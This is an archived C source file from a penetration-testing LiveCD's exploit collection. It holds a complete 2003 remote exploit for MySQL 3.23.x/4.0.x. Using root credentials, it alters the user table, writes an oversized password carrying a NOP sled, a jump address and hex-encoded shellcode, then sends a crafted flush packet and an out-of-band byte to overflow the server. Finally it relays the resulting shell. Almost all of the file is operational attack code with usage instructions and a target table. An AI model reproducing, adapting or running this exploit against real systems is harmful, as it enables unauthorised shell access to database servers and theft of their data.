home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / 2003.09.14.mysql.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  293 lines

  1. /* Mysql 3.23.x/4.0.x remote exploit
  2. * proof of concept
  3. * using jmp *eax
  4. * bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
  5. * compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
  6. * DO NOT DISTRUBITED IT
  7. */
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <errno.h>
  12. #include <sys/socket.h>
  13. #include <sys/types.h>
  14. #include <sys/select.h>
  15. #include <netdb.h>
  16. #include <mysql/mysql.h>
  17.  
  18. #define PAD 19*4*2
  19. #define JMPADDR 0x42125b2b
  20. #define ROOTUSER "root"
  21. #define PORT 3306
  22. #define MYDB "mysql"
  23. #define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
  24. #define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR user='root LIMIT 1,1'"
  25. #define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
  26. #define BUF 1024
  27.  
  28. MYSQL *conn;
  29. char NOP[]="90";
  30. /*
  31. char shellcode[]=
  32. "31c031db31c9b002"
  33. "cd8085c0751b4b31"
  34. "d2b007cd8031c0b0"
  35. "40cd8089c331c9b1"
  36. "09b025cd80b001cd"
  37. "80b017cd8031c050"
  38. "405089e331c9b0a2"
  39. "cd80b1e089c883e8"
  40. "0af7d04089c731c0"
  41. "404c89e250505257"
  42. "518d4c240431dbb3"
  43. "0ab066cd805983f8"
  44. "017505803a497409"
  45. "e2d231c04089c3cd"
  46. "8089fbb103b03f49"
  47. "cd8041e2f851686e"
  48. "2f7368682f2f6269"
  49. "89e351682d696c70"
  50. "89e251525389e131"
  51. "d231c0b00bcd8090";
  52. */
  53. char shellcode[]=
  54. "db31c03102b0c931"
  55. "c08580cd314b1b74"
  56. "cd07b0d2b0c03180"
  57. "8980cd40b1c931c3"
  58. "cd25b009cd01b080"
  59. "cd17b08050c03180"
  60. "e3895040a2b0c931"
  61. "e0b180cde883c889"
  62. "40d0f70ac031c789"
  63. "e2894c4057525050"
  64. "244c8d51b3db3104"
  65. "cd66b00af8835980"
  66. "800575010974493a"
  67. "c031d2e2cdc38940"
  68. "b1fb8980493fb003"
  69. "e24180cd6e6851f8"
  70. "6868732f69622f2f"
  71. "6851e389706c692d"
  72. "5251e28931e18953"
  73. "b0c031d29080cd0b";
  74.  
  75. int type=1;
  76. struct
  77. {
  78.  char *os;
  79.  u_long ret;
  80. } targets[] =
  81.      {
  82.           { "glibc-2.2.93-5", 0x42125b2b },
  83.     },v;
  84.  
  85. void usage(char *);
  86. void sqlerror(char *);
  87. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);
  88.  
  89. main(int argc,char **argv)
  90. {
  91.     MYSQL_RES *result;
  92.     MYSQL_ROW row;
  93.     char jmpaddress[8];
  94.     char buffer[BUF],muser[20],buf2[800];
  95.     my_ulonglong rslines;
  96.     struct sockaddr_in clisocket;
  97.     int i=0,j,clifd,count,a;
  98.     char data1,c;
  99.     fd_set fds;
  100.     char *server=NULL,*rootpass=NULL;
  101.  
  102.     if(argc<3) usage(argv[0]);
  103.     while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
  104.       {
  105.             switch (c)
  106.             {
  107.               case 'd':
  108.                   server=optarg;
  109.                   break;
  110.               case 't':
  111.                   type = atoi(optarg);
  112.                   if((type > sizeof(targets)/sizeof(v)) || (type < 1))
  113.                        usage(argv[0]);
  114.                   break;
  115.              case 'p':
  116.                   rootpass=optarg;
  117.                    break;
  118.              default:
  119.                   usage(argv[0]);
  120.                   return 1;
  121.               }
  122.           }
  123.           if(server==NULL || rootpass==NULL)
  124.               usage(argv[0]);
  125.     memset(muser,0,20);
  126.     memset(buf2,0,800);
  127.     printf("@-------------------------------------------------@\n");
  128.     printf("#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #\n");
  129.     printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  130.     printf("---------------------------------------------------\n");
  131.     printf("[+] Connecting to mysql server %s:%d....",server,PORT);
  132.     fflush(stdout);
  133.     conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
  134.     if(conn==NULL) exit(0);
  135.     printf("ok\n");
  136.     printf("[+] ALTER user column...");
  137.     fflush(stdout);
  138.     if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
  139.         sqlerror("ALTER user table failed");
  140.     //select
  141.     printf("ok\n");
  142.     printf("[+] Select a valid user...");
  143.     fflush(stdout);
  144.     if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0) 
  145.         sqlerror("select user from table failed");
  146.     printf("ok\n");
  147.     result=mysql_store_result(conn);
  148.     if(result==NULL)
  149.         sqlerror("store result error");
  150.     rslines=mysql_num_rows(result);
  151.     if(rslines==0)
  152.         sqlerror("store result error");
  153.     row=mysql_fetch_row(result);
  154.     snprintf(muser,19,"%s",row[0]);
  155.     printf("[+] Found a user:%s\n",muser);
  156.     memset(buffer,0,BUF);
  157.     i=sprintf(buffer,"update user set password='");
  158.     sprintf(jmpaddress,"%x",JMPADDR);
  159.     jmpaddress[8]=0;
  160.     for(j=0;j<PAD-4;j+=2)
  161.     {
  162.         memcpy(buf2+j,NOP,2);
  163.     }
  164.     memcpy(buf2+j,"06eb",4);
  165.     memcpy(buf2+PAD,jmpaddress,8);
  166.     memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
  167.     j=strlen(buf2);
  168.     if(j%8)
  169.     {
  170.         j=j/8+1;
  171.         count=j*8-strlen(buf2);
  172.         memset(buf2+strlen(buf2),'A',count);
  173.     }
  174.     printf("[+] Password length:%d\n",strlen(buf2));
  175.     memcpy(buffer+i,buf2,strlen(buf2));
  176.     i+=strlen(buf2);
  177.     i+=sprintf(buffer+i,"' where user='%s'",muser);
  178.     mysql_free_result(result);
  179.     printf("[+] Modified password...");
  180.     fflush(stdout);    
  181.     //get result
  182.     //write(2,buffer,i);
  183.     if(mysql_real_query(conn,buffer,i)!=0) 
  184.         sqlerror("Modified password error");
  185.     //here I'll find client socket fd
  186.     printf("ok\n");
  187.     printf("[+] Finding client socket......");
  188.     j=sizeof(clisocket);
  189.     for(clifd=3;clifd<256;clifd++)
  190.     {
  191.         if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
  192.         if(clisocket.sin_port==htons(PORT)) break;
  193.     }
  194.     if(clifd==256)
  195.     {
  196.         printf("FAILED\n[-] Cannot find client socket\n");
  197.         mysql_close(conn);
  198.         exit(0);
  199.     }
  200.     data1='I';
  201.     printf("ok\n");
  202.     printf("[+] socketfd:%d\n",clifd);
  203.     //let server overflow
  204.     printf("[+] Overflow server....");
  205.     fflush(stdout);
  206.     send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
  207.     //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0) 
  208.     //    sqlerror("Flush error");
  209.     printf("ok\n");
  210.       printf("[+] sending OOB.......");
  211.       fflush(stdout);
  212.       if(send(clifd,&data1,1,MSG_OOB)<1)
  213.       {
  214.           perror("error");
  215.           mysql_close(conn);
  216.           exit(0);
  217.       }
  218.     printf("ok\r\n");
  219.     printf("[+] Waiting a shell.....");
  220.     fflush(stdout);
  221.     j=0;
  222.     memset(buffer,0,BUF);
  223.       while(1)
  224.     {
  225.         FD_ZERO(&fds);
  226.         FD_SET(0, &fds);
  227.         FD_SET(clifd, &fds);
  228.         
  229.         if (select(clifd+1, &fds, NULL, NULL, NULL) < 0) 
  230.         {
  231.             if (errno == EINTR) continue;
  232.             break;
  233.         }
  234.         if (FD_ISSET(0, &fds)) 
  235.         {
  236.             count = read(0, buffer, BUF);
  237.             if (count <= 0) break;
  238.             if (write(clifd, buffer, count) <= 0) break;
  239.             memset(buffer,0,BUF);
  240.         }
  241.         if (FD_ISSET(clifd, &fds)) 
  242.         {
  243.             count = read(clifd, buffer, BUF);
  244.             if (count <= 0) break;
  245.             if(j==0) printf("Ok\n");
  246.             j=1;
  247.             if (write(1, buffer, count) <= 0) break;
  248.             memset(buffer,0,BUF);
  249.         }
  250.         
  251.     }    
  252. }
  253.  
  254. void usage(char *s)
  255. {
  256.     int a;
  257.     printf("@-------------------------------------------------@\n");
  258.     printf("#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #\n");
  259.     printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  260.     printf("---------------------------------------------------\n");
  261.     printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s);
  262.     printf("      -d target host ip/name\n");
  263.     printf("      -p 'root' user paasword\n");
  264.     printf("      -t  type [default:%d]\n",type);
  265.     printf("      ------------------------------\n");
  266.     for(a = 0; a < sizeof(targets)/sizeof(v); a++)
  267.         printf("         %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);   
  268.     printf("\n");           
  269.     exit(0);
  270. }
  271. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
  272. {
  273.     MYSQL *connect;
  274.     connect=mysql_init(NULL);
  275.     if(connect==NULL)
  276.     {
  277.         printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
  278.         return NULL;
  279.     }
  280.     if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
  281.     {
  282.            printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
  283.            return NULL;
  284.        }
  285.        return connect;
  286.  
  287. }
  288. void sqlerror(char *s)
  289. {
  290.     fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
  291.     mysql_close(conn);
  292.     exit(0);
  293. }